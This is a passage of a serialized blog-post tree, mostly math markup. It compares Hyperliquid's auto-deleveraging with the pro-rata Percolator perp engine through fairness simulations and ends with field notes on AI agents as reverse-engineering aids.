ue":5407},"), ",{"type":26,"tag":83,"props":5409,"children":5411},{"className":5410},[213,4703],[5412],{"type":26,"tag":217,"props":5413,"children":5415},{"className":5414},[225],[5416],{"type":26,"tag":217,"props":5417,"children":5419},{"className":5418,"ariaHidden":231},[230],[5420,5446],{"type":26,"tag":217,"props":5421,"children":5423},{"className":5422},[236],[5424,5428,5433,5437,5442],{"type":26,"tag":217,"props":5425,"children":5427},{"className":5426,"style":4800},[241],[],{"type":26,"tag":217,"props":5429,"children":5431},{"className":5430,"style":5270},[247,2152],[5432],{"type":32,"value":5273},{"type":26,"tag":217,"props":5434,"children":5436},{"className":5435,"style":259},[258],[],{"type":26,"tag":217,"props":5438,"children":5440},{"className":5439},[264],[5441],{"type":32,"value":267},{"type":26,"tag":217,"props":5443,"children":5445},{"className":5444,"style":259},[258],[],{"type":26,"tag":217,"props":5447,"children":5449},{"className":5448},[236],[5450,5454],{"type":26,"tag":217,"props":5451,"children":5453},{"className":5452,"style":5294},[241],[],{"type":26,"tag":217,"props":5455,"children":5457},{"className":5456},[247],[5458],{"type":32,"value":1883},{"type":32,"value":5460}," means nothing was recovered.",{"type":26,"tag":2044,"props":5462,"children":5463},{},[5464,5468,5469,5593,5595,5814,5816,5921,5923,5975,5977,6029],{"type":26,"tag":65,"props":5465,"children":5466},{},[5467],{"type":32,"value":2061},{"type":32,"value":4984},{"type":26,"tag":83,"props":5470,"children":5472},{"className":5471},[213,4703],[5473],{"type":26,"tag":217,"props":5474,"children":5476},{"className":5475},[225],[5477],{"type":26,"tag":217,"props":5478,"children":5480},{"className":5479,"ariaHidden":231},[230],[5481,5507],{"type":26,"tag":217,"props":5482,"children":5484},{"className":5483},[236],[5485,5489,5494,5498,5503],{"type":26,"tag":217,"props":5486,"children":5488},{"className":5487,"style":5004},[241],[],{"type":26,"tag":217,"props":5490,"children":5492},{"className":5491},[247],[5493],{"type":32,"value":185},{"type":26,"tag":217,"props":5495,"children":5497},{"className":5496,"style":336},[258],[],{"type":26,"tag":217,"props":5499,"children":5501},{"className":5500},[341],[5502],{"type":32,"value":3379},{"type":26,"tag":217,"props":5504,"children":5506},{"className":5505,"style":336},[258],[],{"type":26,"tag":217,"props":5508,"children":5510},{"className":5509},[236],[5511,5516,5526,5531,5588],{"type":26,"tag":217,"props":5512,"children":5515},{"className":5513,"style":5514},[241],"height:1em;vertical-align:-0.25em;",[],{"type":26,"tag":217,"props":5517,"children":5519},{"className":5518},[247,32],[5520],{"type":26,"tag":217,"props":5521,"children":5523},{"className":5522},[247],[5524],{"type":32,"value":5525},"Gini",{"type":26,"tag":217,"props":5527,"children":5529},{"className":5528},[288],[5530],{"type":32,"value":1851},{"type":26,"tag":217,"props":5532,"children":5534},{"className":5533},[247],[5535,5540],{"type":26,"tag":217,"props":5536,"children":5538},{"className":5537},[247,2152],[5539],{"type":32,"value":2612},{"type":26,"tag":217,"props":5541,"children":5543},{"className":5542},[2160],[5544],{"type":26,"tag":217,"props":5545,"children":5547},{"className":5546},[299,300],[5548,5577],{"type":26,"tag":217,"props":5549,"children":5551},{"className":5550},[305],[5552,5572],{"type":26,"tag":217,"props":5553,"children":5555},{"className":5554,"style":2271},[310],[5556],{"type":26,"tag":217,"props":5557,"children":5558},{"style":2275},[5559,5563],{"type":26,"tag":217,"props":5560,"children":5562},{"className":5561,"style":2182},[320],[],{"type":26,"tag":217,"props":5564,"children":5566},{"className":5565},[2187,2188,2189,2190],[5567],{"type":26,"tag":217,"props":5568,"children":5570},{"className":5569},[247,2152,2190],[5571],{"type":32,"value":2290},{"type":26,"tag":217,"props":5573,"children":5575},{"className":5574},[409],[5576],{"type":32,"value":412},{"type":26,"tag":217,"props":5578,"children":5580},{"className":5579},[305],[5581],{"type":26,"tag":217,"props":5582,"children":5584},{"className":5583,"style":2210},[310],[5585],{"type":26,"tag":217,"props":5586,"children":5587},{},[],{"type":26,"tag":217,"props":5589,"children":5591},{"className":5590},[428],[5592],{"type":32,"value":1889},{"type":32,"value":5594}," where ",{"type":26,"tag":83,"props":5596,"children":5598},{"className":5597},[213,4703],[5599],{"type":26,"tag":217,"props":5600,"children":5602},{"className":5601},[225],[5603],{"type":26,"tag":217,"props":5604,"children":5606},{"className":5605,"ariaHidden":231},[230],[5607,5686],{"type":26,"tag":217,"props":5608,"children":5610},{"className":5609},[236],[5611,5616,5673,5677,5682],{"type":26,"tag":217,"props":5612,"children":5615},{"className":5613,"style":5614},[241],"height:0.8444em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":5617,"children":5619},{"className":5618},[247],[5620,5625],{"type":26,"tag":217,"props":5621,"children":5623},{"className":5622},[247,2152],[5624],{"type":32,"value":2612},{"type":26,"tag":217,"props":5626,"children":5628},{"className":5627},[2160],[5629],{"type":26,"tag":217,"props":5630,"children":5632},{"className":5631},[299,300],[5633,5662],{"type":26,"tag":217,"props":5634,"children":5636},{"className":5635},[305],[5637,5657],{"type":26,"tag":217,"props":5638,"children":5640},{"className":5639,"style":2271},[310],[5641],{"type":26,"tag":217,"props":5642,"children":5643},{"style":2275},[5644,5648],{"type":26,"tag":217,"props":5645,"children":5647},{"className":5646,"style":2182},[320],[],{"type":26,"tag":217,"props":5649,"children":5651},{"className":5650},[2187,2188,2189,2190],[5652],{"type":26,"tag":217,"props":5653,"children":5655},{"className":5654},[247,2152,2190],[5656],{"type":32,"value":2290},{"type":26,"tag":217,"props":5658,"children":5660},{"className":5659},[409],[5661],{"type":32,"value":412},{"type":26,"tag":217,"props":5663,"children":5665},{"className":5664},[305],[5666],{"type":26,"tag":217,"props":5667,"children":5669},{"className":5668,"style":2210},[310],[5670],{"type":26,"tag":217,"props":5671,"children":5672},{},[],{"type":26,"tag":217,"props":5674,"children":5676},{"className":5675,"style":259},[258],[],{"type":26,"tag":217,"props":5678,"children":5680},{"className":5679},[264],[5681],{"type":32,"value":267},{"type":26,"tag":217,"props":5683,"children":5685},{"className":5684,"style":259},[258],[],{"type":26,"tag":217,"props":5687,"children":5689},{"className":5688},[236],[5690,5694,5751,5757],{"type":26,"tag":217,"props":5691,"children":5693},{"className":5692,"style":5514},[241],[],{"type":26,"tag":217,"props":5695,"children":5697},{"className":5696},[247],[5698,5703],{"type":26,"tag":217,"props":5699,"children":5701},{"className":5700},[247,2152],[5702],{"type":32,"value":2542},{"type":26,"tag":217,"props":5704,"children":5706},{"className":5705},[2160],[5707],{"type":26,"tag":217,"props":5708,"children":5710},{"className":5709},[299,300],[5711,5740],{"type":26,"tag":217,"props":5712,"children":5714},{"className":5713},[305],[5715,5735],{"type":26,"tag":217,"props":5716,"children":5718},{"className":5717,"style":2271},[310],[5719],{"type":26,"tag":217,"props":5720,"children":5721},{"style":2275},[5722,5726],{"type":26,"tag":217,"props":5723,"children":5725},{"className":5724,"style":2182},[320],[],{"type":26,"tag":217,"props":5727,"children":5729},{"className":5728},[2187,2188,2189,2190],[5730],{"type":26,"tag":217,"props":5731,"children":5733},{"className":5732},[247,2152,2190],[5734],{"type":32,"value":2290},{"type":26,"tag":217,"props":5736,"children":5738},{"className":5737},[409],[5739],{"type":32,"value":412},{"type":26,"tag":217,"props":5741,"children":5743},{"className":5742},[305],[5744],{"type":26,"tag":217,"props":5745,"children":5747},{"className":5746,"style":2210},[310],[5748],{"type":26,"tag":217,"props":5749,"children":5750},{},[],{"type":26,"tag":217,"props":5752,"children":5754},{"className":5753},[247],[5755],{"type":32,"value":5756},"/",{"type":26,"tag":217,"props":5758,"children":5760},{"className":5759},[247],[5761,5766],{"type":26,"tag":217,"props":5762,"children":5764},{"className":5763,"style":2468},[247,2152],[5765],{"type":32,"value":2471},{"type":26,"tag":217,"props":5767,"children":5769},{"className":5768},[2160],[5770],{"type":26,"tag":217,"props":5771,"children":5773},{"className":5772},[299,300],[5774,5803],{"type":26,"tag":217,"props":5775,"children":5777},{"className":5776},[305],[5778,5798],{"type":26,"tag":217,"props":5779,"children":5781},{"className":5780,"style":2271},[310],[5782],{"type":26,"tag":217,"props":5783,"children":5784},{"style":2490},[5785,5789],{"type":26,"tag":217,"props":5786,"children":5788},{"className":5787,"style":2182},[320],[],{"type":26,"tag":217,"props":5790,"children":5792},{"className":5791},[2187,2188,2189,2190],[5793],{"type":26,"tag":217,"props":5794,"children":5796},{"className":5795},[247,2152,2190],[5797],{"type":32,"value":2290},{"type":26,"tag":217,"props":5799,"children":5801},{"className":5800},[409],[5802],{"type":32,"value":412},{"type":26,"tag":217,"props":5804,"children":5806},{"className":5805},[305],[5807],{"type":26,"tag":217,"props":5808,"children":5810},{"className":5809,"style":2210},[310],[5811],{"type":26,"tag":217,"props":5812,"children":5813},{},[],{"type":32,"value":5815}," for each winner with ",{"type":26,"tag":83,"props":5817,"children":5819},{"className":5818},[213,4703],[5820],{"type":26,"tag":217,"props":5821,"children":5823},{"className":5822},[225],[5824],{"type":26,"tag":217,"props":5825,"children":5827},{"className":5826,"ariaHidden":231},[230],[5828,5908],{"type":26,"tag":217,"props":5829,"children":5831},{"className":5830},[236],[5832,5837,5894,5898,5904],{"type":26,"tag":217,"props":5833,"children":5836},{"className":5834,"style":5835},[241],"height:0.6891em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":5838,"children":5840},{"className":5839},[247],[5841,5846],{"type":26,"tag":217,"props":5842,"children":5844},{"className":5843,"style":2468},[247,2152],[5845],{"type":32,"value":2471},{"type":26,"tag":217,"props":5847,"children":5849},{"className":5848},[2160],[5850],{"type":26,"tag":217,"props":5851,"children":5853},{"className":5852},[299,300],[5854,5883],{"type":26,"tag":217,"props":5855,"children":5857},{"className":5856},[305],[5858,5878],{"type":26,"tag":217,"props":5859,"children":5861},{"className":5860,"style":2271},[310],[5862],{"type":26,"tag":217,"props":5863,"children":5864},{"style":2490},[5865,5869],{"type":26,"tag":217,"props":5866,"children":5868},{"className":5867,"style":2182},[320],[],{"type":26,"tag":217,"props":5870,"children":5872},{"className":5871},[2187,2188,2189,2190],[5873],{"type":26,"tag":217,"props":5874,"children":5876},{"className":5875},[247,2152,2190],[5877],{"type":32,"value":2290},{"type":26,"tag":217,"props":5879,"children":5881},{"className":5880},[409],[5882],{"type":32,"value":412},{"type":26,"tag":217,"props":5884,"children":5886},{"className":5885},[305],[5887],{"type":26,"tag":217,"props":5888,"children":5890},{"className":5889,"style":2210},[310],[5891],{"type":26,"tag":217,"props":5892,"children":5893},{},[],{"type":26,"tag":217,"props":5895,"children":5897},{"className":5896,"style":259},[258],[],{"type":26,"tag":217,"props":5899,"children":5901},{"className":5900},[264],[5902],{"type":32,"value":5903},">",{"type":26,"tag":217,"props":5905,"children":5907},{"className":5906,"style":259},[258],[],{"type":26,"tag":217,"props":5909,"children":5911},{"className":5910},[236],[5912,5916],{"type":26,"tag":217,"props":5913,"children":5915},{"className":5914,"style":5294},[241],[],{"type":26,"tag":217,"props":5917,"children":5919},{"className":5918},[247],[5920],{"type":32,"value":1883},{"type":32,"value":5922}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":26,"tag":83,"props":5924,"children":5926},{"className":5925},[213,4703],[5927],{"type":26,"tag":217,"props":5928,"children":5930},{"className":5929},[225],[5931],{"type":26,"tag":217,"props":5932,"children":5934},{"className":5933,"ariaHidden":231},[230],[5935,5962],{"type":26,"tag":217,"props":5936,"children":5938},{"className":5937},[236],[5939,5943,5949,5953,5958],{"type":26,"tag":217,"props":5940,"children":5942},{"className":5941,"style":4800},[241],[],{"type":26,"tag":217,"props":5944,"children":5946},{"className":5945,"style":2153},[247,2152],[5947],{"type":32,"value":5948},"F",{"type":26,"tag":217,"props":5950,"children":5952},{"className":5951,"style":259},[258],[],{"type":26,"tag":217,"props":5954,"children":5956},{"className":5955},[264],[5957],{"type":32,"value":267},{"type":26,"tag":217,"props":5959,"children":5961},{"className":5960,"style":259},[258],[],{"type":26,"tag":217,"props":5963,"children":5965},{"className":5964},[236],[5966,5970],{"type":26,"tag":217,"props":5967,"children":5969},{"className":5968,"style":5294},[241],[],{"type":26,"tag":217,"props":5971,"children":5973},{"className":5972},[247],[5974],{"type":32,"value":185},{"type":32,"value":5976}," means everyone loses the same fraction of their PNL. ",{"type":26,"tag":83,"props":5978,"children":5980},{"className":5979},[213,4703],[5981],{"type":26,"tag":217,"props":5982,"children":5984},{"className":5983},[225],[5985],{"type":26,"tag":217,"props":5986,"children":5988},{"className":5987,"ariaHidden":231},[230],[5989,6016],{"type":26,"tag":217,"props":5990,"children":5992},{"className":5991},[236],[5993,5997,6002,6006,6012],{"type":26,"tag":217,"props":5994,"children":5996},{"className":5995,"style":4800},[241],[],{"type":26,"tag":217,"props":5998,"children":6000},{"className":5999,"style":2153},[247,2152],[6001],{"type":32,"value":5948},{"type":26,"tag":217,"props":6003,"children":6005},{"className":6004,"style":259},[258],[],{"type":26,"tag":217,"props":6007,"children":6009},{"className":6008},[264],[6010],{"type":32,"value":6011},"≈",{"type":26,"tag":217,"props":6013,"children":6015},{"className":6014,"style":259},[258],[],{"type":26,"tag":217,"props":6017,"children":6019},{"className":6018},[236],[6020,6024],{"type":26,"tag":217,"props":6021,"children":6023},{"className":6022,"style":5294},[241],[],{"type":26,"tag":217,"props":6025,"children":6027},{"className":6026},[247],[6028],{"type":32,"value":1883},{"type":32,"value":6030}," means a few get wiped while most are untouched.",{"type":26,"tag":2044,"props":6032,"children":6033},{},[6034,6038,6039,6199,6201,6295,6297],{"type":26,"tag":65,"props":6035,"children":6036},{},[6037],{"type":32,"value":2071},{"type":32,"value":4984},{"type":26,"tag":83,"props":6040,"children":6042},{"className":6041},[213,4703],[6043],{"type":26,"tag":217,"props":6044,"children":6046},{"className":6045},[225],[6047],{"type":26,"tag":217,"props":6048,"children":6050},{"className":6049,"ariaHidden":231},[230],[6051],{"type":26,"tag":217,"props":6052,"children":6054},{"className":6053},[236],[6055,6060,6137,6142],{"type":26,"tag":217,"props":6056,"children":6059},{"className":6057,"style":6058},[241],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":26,"tag":217,"props":6061,"children":6063},{"className":6062},[247],[6064,6069],{"type":26,"tag":217,"props":6065,"children":6067},{"className":6066,"style":2825},[247,2152],[6068],{"type":32,"value":2828},{"type":26,"tag":217,"props":6070,"children":6072},{"className":6071},[2160],[6073],{"type":26,"tag":217,"props":6074,"children":6076},{"className":6075},[299,300],[6077,6125],{"type":26,"tag":217,"props":6078,"children":6080},{"className":6079},[305],[6081,6120],{"type":26,"tag":217,"props":6082,"children":6085},{"className":6083,"style":6084},[310],"height:0.6644em;",[6086,6103],{"type":26,"tag":217,"props":6087,"children":6089},{"style":6088},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[6090,6094],{"type":26,"tag":217,"props":6091,"children":6093},{"className":6092,"style":2182},[320],[],{"type":26,"tag":217,"props":6095,"children":6097},{"className":6096},[2187,2188,2189,2190],[6098],{"type":26,"tag":217,"props":6099,"children":6101},{"className":6100,"style":2153},[247,2152,2190],[6102],{"type":32,"value":178},{"type":26,"tag":217,"props":6104,"children":6106},{"style":6105},"top:-3.063em;margin-right:0.05em;",[6107,6111],{"type":26,"tag":217,"props":6108,"children":6110},{"className":6109,"style":2182},[320],[],{"type":26,"tag":217,"props":6112,"children":6114},{"className":6113},[2187,2188,2189,2190],[6115],{"type":26,"tag":217,"props":6116,"children":6118},{"className":6117,"style":2326},[247,2152,2190],[6119],{"type":32,"value":2329},{"type":26,"tag":217,"props":6121,"children":6123},{"className":6122},[409],[6124],{"type":32,"value":412},{"type":26,"tag":217,"props":6126,"children":6128},{"className":6127},[305],[6129],{"type":26,"tag":217,"props":6130,"children":6133},{"className":6131,"style":6132},[310],"height:0.2753em;",[6134],{"type":26,"tag":217,"props":6135,"children":6136},{},[],{"type":26,"tag":217,"props":6138,"children":6140},{"className":6139},[247],[6141],{"type":32,"value":5756},{"type":26,"tag":217,"props":6143,"children":6145},{"className":6144},[247],[6146,6151],{"type":26,"tag":217,"props":6147,"children":6149},{"className":6148,"style":2825},[247,2152],[6150],{"type":32,"value":2828},{"type":26,"tag":217,"props":6152,"children":6154},{"className":6153},[2160],[6155],{"type":26,"tag":217,"props":6156,"children":6158},{"className":6157},[299,300],[6159,6188],{"type":26,"tag":217,"props":6160,"children":6162},{"className":6161},[305],[6163,6183],{"type":26,"tag":217,"props":6164,"children":6166},{"className":6165,"style":2699},[310],[6167],{"type":26,"tag":217,"props":6168,"children":6169},{"style":2847},[6170,6174],{"type":26,"tag":217,"props":6171,"children":6173},{"className":6172,"style":2182},[320],[],{"type":26,"tag":217,"props":6175,"children":6177},{"className":6176},[2187,2188,2189,2190],[6178],{"type":26,"tag":217,"props":6179,"children":6181},{"className":6180,"style":2153},[247,2152,2190],[6182],{"type":32,"value":178},{"type":26,"tag":217,"props":6184,"children":6186},{"className":6185},[409],[6187],{"type":32,"value":412},{"type":26,"tag":217,"props":6189,"children":6191},{"className":6190},[305],[6192],{"type":26,"tag":217,"props":6193,"children":6195},{"className":6194,"style":2210},[310],[6196],{"type":26,"tag":217,"props":6197,"children":6198},{},[],{"type":32,"value":6200}," — ",{"type":26,"tag":83,"props":6202,"children":6204},{"className":6203},[213,4703],[6205],{"type":26,"tag":217,"props":6206,"children":6208},{"className":6207},[225],[6209],{"type":26,"tag":217,"props":6210,"children":6212},{"className":6211,"ariaHidden":231},[230],[6213],{"type":26,"tag":217,"props":6214,"children":6216},{"className":6215},[236],[6217,6222],{"type":26,"tag":217,"props":6218,"children":6221},{"className":6219,"style":6220},[241],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":26,"tag":217,"props":6223,"children":6225},{"className":6224},[247],[6226,6231],{"type":26,"tag":217,"props":6227,"children":6229},{"className":6228,"style":2825},[247,2152],[6230],{"type":32,"value":2828},{"type":26,"tag":217,"props":6232,"children":6234},{"className":6233},[2160],[6235],{"type":26,"tag":217,"props":6236,"children":6238},{"className":6237},[299,300],[6239,6284],{"type":26,"tag":217,"props":6240,"children":6242},{"className":6241},[305],[6243,6279],{"type":26,"tag":217,"props":6244,"children":6246},{"className":6245,"style":6084},[310],[6247,6263],{"type":26,"tag":217,"props":6248,"children":6249},{"style":6088},[6250,6254],{"type":26,"tag":217,"props":6251,"children":6253},{"className":6252,"style":2182},[320],[],{"type":26,"tag":217,"props":6255,"children":6257},{"className":6256},[2187,2188,2189,2190],[6258],{"type":26,"tag":217,"props":6259,"children":6261},{"className":6260,"style":2153},[247,2152,2190],[6262],{"type":32,"value":178},{"type":26,"tag":217,"props":6264,"children":6265},{"style":6105},[6266,6270],{"type":26,"tag":217,"props":6267,"children":6269},{"className":6268,"style":2182},[320],[],{"type":26,"tag":217,"props":6271,"children":6273},{"className":6272},[2187,2188,2189,2190],[6274],{"type":26,"tag":217,"props":6275,"children":6277},{"className":6276,"style":2326},[247,2152,2190],[6278],{"type":32,"value":2329},{"type":26,"tag":217,"props":6280,"children":6282},{"className":6281},[409],[6283],{"type":32,"value":412},{"type":26,"tag":217,"props":6285,"children":6287},{"className":6286},[305],[6288],{"type":26,"tag":217,"props":6289,"children":6291},{"className":6290,"style":6132},[310],[6292],{"type":26,"tag":217,"props":6293,"children":6294},{},[],{"type":32,"value":6296}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":26,"tag":83,"props":6298,"children":6300},{"className":6299},[213,4703],[6301],{"type":26,"tag":217,"props":6302,"children":6304},{"className":6303},[225],[6305],{"type":26,"tag":217,"props":6306,"children":6308},{"className":6307,"ariaHidden":231},[230],[6309],{"type":26,"tag":217,"props":6310,"children":6312},{"className":6311},[236],[6313,6318],{"type":26,"tag":217,"props":6314,"children":6317},{"className":6315,"style":6316},[241],"height:0.4306em;",[],{"type":26,"tag":217,"props":6319,"children":6321},{"className":6320,"style":2326},[247,2152],[6322],{"type":32,"value":2329},{"type":26,"tag":39,"props":6324,"children":6325},{},[6326],{"type":32,"value":6327},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":26,"tag":6329,"props":6330,"children":6332},"git-hub-repo-link",{"url":6331},"https://github.com/aeyakovenko/percolator",[],{"type":26,"tag":39,"props":6334,"children":6335},{},[6336,6338,6343],{"type":32,"value":6337},"Given a fixed ",{"type":26,"tag":65,"props":6339,"children":6340},{},[6341],{"type":32,"value":6342},"a priori",{"type":32,"value":6344}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":26,"tag":39,"props":6346,"children":6347},{},[6348,6350,6355,6357,6434],{"type":32,"value":6349},"One prediction that we can make is that Percolator is ",{"type":26,"tag":65,"props":6351,"children":6352},{},[6353],{"type":32,"value":6354},"perfectly fair",{"type":32,"value":6356}," according to this scoring: the ",{"type":26,"tag":83,"props":6358,"children":6360},{"className":6359},[213,4703],[6361],{"type":26,"tag":217,"props":6362,"children":6364},{"className":6363},[225],[6365],{"type":26,"tag":217,"props":6366,"children":6368},{"className":6367,"ariaHidden":231},[230],[6369],{"type":26,"tag":217,"props":6370,"children":6372},{"className":6371},[236],[6373,6377],{"type":26,"tag":217,"props":6374,"children":6376},{"className":6375,"style":5614},[241],[],{"type":26,"tag":217,"props":6378,"children":6380},{"className":6379},[247],[6381,6386],{"type":26,"tag":217,"props":6382,"children":6384},{"className":6383},[247,2152],[6385],{"type":32,"value":2612},{"type":26,"tag":217,"props":6387,"children":6389},{"className":6388},[2160],[6390],{"type":26,"tag":217,"props":6391,"children":6393},{"className":6392},[299,300],[6394,6423],{"type":26,"tag":217,"props":6395,"children":6397},{"className":6396},[305],[6398,6418],{"type":26,"tag":217,"props":6399,"children":6401},{"className":6400,"style":2271},[310],[6402],{"type":26,"tag":217,"props":6403,"children":6404},{"style":2275},[6405,6409],{"type":26,"tag":217,"props":6406,"children":6408},{"className":6407,"style":2182},[320],[],{"type":26,"tag":217,"props":6410,"children":6412},{"className":6411},[2187,2188,2189,2190],[6413],{"type":26,"tag":217,"props":6414,"children":6416},{"className":6415},[247,2152,2190],[6417],{"type":32,"value":2290},{"type":26,"tag":217,"props":6419,"children":6421},{"className":6420},[409],[6422],{"type":32,"value":412},{"type":26,"tag":217,"props":6424,"children":6426},{"className":6425},[305],[6427],{"type":26,"tag":217,"props":6428,"children":6430},{"className":6429,"style":2210},[310],[6431],{"type":26,"tag":217,"props":6432,"children":6433},{},[],{"type":32,"value":6435}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":26,"tag":39,"props":6437,"children":6438},{},[6439,6441,6446],{"type":32,"value":6440},"We are ignoring the ",{"type":26,"tag":65,"props":6442,"children":6443},{},[6444],{"type":32,"value":6445},"a posteriori",{"type":32,"value":6447}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":26,"tag":39,"props":6449,"children":6450},{},[6451],{"type":32,"value":6452},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":26,"tag":27,"props":6454,"children":6456},{"id":6455},"simulations",[6457],{"type":32,"value":6458},"Simulations",{"type":26,"tag":39,"props":6460,"children":6461},{},[6462],{"type":32,"value":6463},"Let's consider the following price scenarios, as we said:",{"type":26,"tag":39,"props":6465,"children":6466},{},[6467],{"type":26,"tag":6468,"props":6469,"children":6472},"img",{"alt":6470,"src":6471},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":26,"tag":39,"props":6474,"children":6475},{},[6476],{"type":32,"value":6477},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":26,"tag":39,"props":6479,"children":6480},{},[6481],{"type":26,"tag":6468,"props":6482,"children":6485},{"alt":6483,"src":6484},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":26,"tag":607,"props":6487,"children":6489},{"id":6488},"percolator-is-more-optimistic",[6490],{"type":32,"value":6491},"Percolator Is More \"Optimistic\"",{"type":26,"tag":39,"props":6493,"children":6494},{},[6495,6497,6502,6504,6509,6511,6517,6519,6524],{"type":32,"value":6496},"The key difference is what happens to positions. ADL ",{"type":26,"tag":65,"props":6498,"children":6499},{},[6500],{"type":32,"value":6501},"permanently closes",{"type":32,"value":6503}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":26,"tag":65,"props":6505,"children":6506},{},[6507],{"type":32,"value":6508},"withdraw",{"type":32,"value":6510},", but the position stays open. If conditions improve, ",{"type":26,"tag":83,"props":6512,"children":6514},{"className":6513},[],[6515],{"type":32,"value":6516},"Residual",{"type":32,"value":6518}," goes up, ",{"type":26,"tag":83,"props":6520,"children":6522},{"className":6521},[],[6523],{"type":32,"value":2612},{"type":32,"value":6525}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":26,"tag":39,"props":6527,"children":6528},{},[6529,6531,6536],{"type":32,"value":6530},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":26,"tag":65,"props":6532,"children":6533},{},[6534],{"type":32,"value":6535},"more",{"type":32,"value":6537}," per position, though the tradeoff is that fewer traders get to participate.",{"type":26,"tag":39,"props":6539,"children":6540},{},[6541],{"type":26,"tag":6468,"props":6542,"children":6545},{"alt":6543,"src":6544},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":26,"tag":27,"props":6547,"children":6549},{"id":6548},"some-points-to-be-made",[6550],{"type":32,"value":6551},"Some Points to Be Made",{"type":26,"tag":607,"props":6553,"children":6555},{"id":6554},"percolator-is-indifferent-to-leverage",[6556],{"type":32,"value":6557},"Percolator Is Indifferent to Leverage",{"type":26,"tag":39,"props":6559,"children":6560},{},[6561],{"type":32,"value":6562},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":26,"tag":39,"props":6564,"children":6565},{},[6566],{"type":26,"tag":6468,"props":6567,"children":6570},{"alt":6568,"src":6569},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":26,"tag":607,"props":6572,"children":6574},{"id":6573},"fairness",[6575],{"type":32,"value":2061},{"type":26,"tag":39,"props":6577,"children":6578},{},[6579],{"type":32,"value":6580},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":26,"tag":39,"props":6582,"children":6583},{},[6584],{"type":26,"tag":6468,"props":6585,"children":6588},{"alt":6586,"src":6587},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":26,"tag":39,"props":6590,"children":6591},{},[6592,6594,6599],{"type":32,"value":6593},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":26,"tag":83,"props":6595,"children":6597},{"className":6596},[],[6598],{"type":32,"value":544},{"type":32,"value":6600}," we start by fully closing the worst position against the best-performing trader.",{"type":26,"tag":27,"props":6602,"children":6604},{"id":6603},"strengths-and-limitations-of-agents-for-reverse-engineering",[6605],{"type":32,"value":6606},"Strengths and Limitations of Agents for Reverse Engineering",{"type":26,"tag":39,"props":6608,"children":6609},{},[6610],{"type":32,"value":6611},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":26,"tag":607,"props":6613,"children":6615},{"id":6614},"hooks",[6616],{"type":32,"value":6617},"Hooks",{"type":26,"tag":39,"props":6619,"children":6620},{},[6621,6623,6627],{"type":32,"value":6622},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":26,"tag":65,"props":6624,"children":6625},{},[6626],{"type":32,"value":6614},{"type":32,"value":6628},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":26,"tag":39,"props":6630,"children":6631},{},[6632],{"type":32,"value":6633},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":26,"tag":607,"props":6635,"children":6637},{"id":6636},"scale",[6638],{"type":32,"value":6639},"Scale",{"type":26,"tag":39,"props":6641,"children":6642},{},[6643],{"type":32,"value":6644},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":26,"tag":39,"props":6646,"children":6647},{},[6648],{"type":32,"value":6649},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":26,"tag":607,"props":6651,"children":6653},{"id":6652},"whats-next",[6654],{"type":32,"value":6655},"What's next?",{"type":26,"tag":39,"props":6657,"children":6658},{},[6659],{"type":32,"value":6660},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":26,"tag":6329,"props":6662,"children":6663},{"url":165},[],{"type":26,"tag":39,"props":6665,"children":6666},{},[6667],{"type":32,"value":6668},"The analyzed binary can be found 